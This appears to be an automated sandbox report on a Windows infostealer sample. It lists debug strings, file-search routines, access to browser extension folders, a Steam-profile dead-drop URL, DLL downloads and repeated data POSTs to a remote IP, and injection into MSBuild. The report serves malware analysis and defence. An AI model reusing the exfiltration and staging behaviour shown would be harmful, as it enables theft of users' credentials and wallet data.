Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.249:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.249:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 168.119.176.241:443 -> 192.168.2.4:49773 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: minelabfoto.pdb( source: mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr
Source:	Binary string: minelabfoto.pdb source: EHDHIDAEHC.exe, 00000004.00000000.2083490533.0000000000602000.00000002.00000001.01000000.00000009.sdmp, mine[1].exe.0.dr, EHDHIDAEHC.exe.0.dr
Source:	Binary string: PE.pdbH] source: EHDHIDAEHC.exe, 00000004.00000002.2092269679.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2097766953.00000000053B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\kfqXL.pdb source: EHDHIDAEHC.exe, 00000004.00000002.2094707680.000000000426C000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2094707680.0000000003FFE000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2098035068.0000000005634000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2197298605.0000000047710000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2191144720.000000003B838000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.0.dr
Source:	Binary string: PE.pdb source: EHDHIDAEHC.exe, 00000004.00000002.2092269679.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, EHDHIDAEHC.exe, 00000004.00000002.2097766953.00000000053B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: nss3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.0.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D1110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003D1110
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D99F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_003D99F0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E5EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003E5EA0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DC2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003DC2E0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DA2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_003DA2C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E56C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_003E56C0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DB390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003DB390
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E4F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	0_2_003E4F80
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D9D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003D9D40
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E5A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_003E5A70
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003DAAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_003DAAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040C2E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00409D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00401110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	6_2_004099F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	6_2_00415A70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	6_2_0040A2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	6_2_004156C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_00415EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	6_2_0040AAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	6_2_00414F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	6_2_0040B390

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003E53C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_003E53C0

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\ProgramData\EHDHIDAEHC.exe

Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h

4_2_05A6D0C8

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199747278259

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 04 Aug 2024 00:21:35 GMTServer: ApacheLast-Modified: Sat, 03 Aug 2024 17:07:11 GMTETag: "4e7000-61eca7984f383"Accept-Ranges: bytesContent-Length: 5140480Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 f9 b7 ad 66 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 d2 4c 00 00 9a 01 00 00 00 00 00 4e f0 4c 00 00 20 00 00 00 00 4d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 4e 00 00 04 00 00 a6 d9 4e 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f0 4c 00 4b 00 00 00 00 20 4d 00 c6 8c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 4e 00 0c 00 00 00 af ef 4c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 d0 4c 00 00 20 00 00 00 d2 4c 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 8f 09 00 00 00 00 4d 00 00 0a 00 00 00 d6 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c6 8c 01 00 00 20 4d 00 00 8e 01 00 00 e0 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 4e 00 00 02 00 00 00 6e 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.102.49.249 104.102.49.249
Source: Joe Sandbox View	IP Address: 38.180.132.96 38.180.132.96
Source: Joe Sandbox View	IP Address: 168.119.176.241 168.119.176.241

Source: Joe Sandbox View

ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 278Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 7013Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 498Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 457Connection: Keep-AliveCache-Control: no-cache
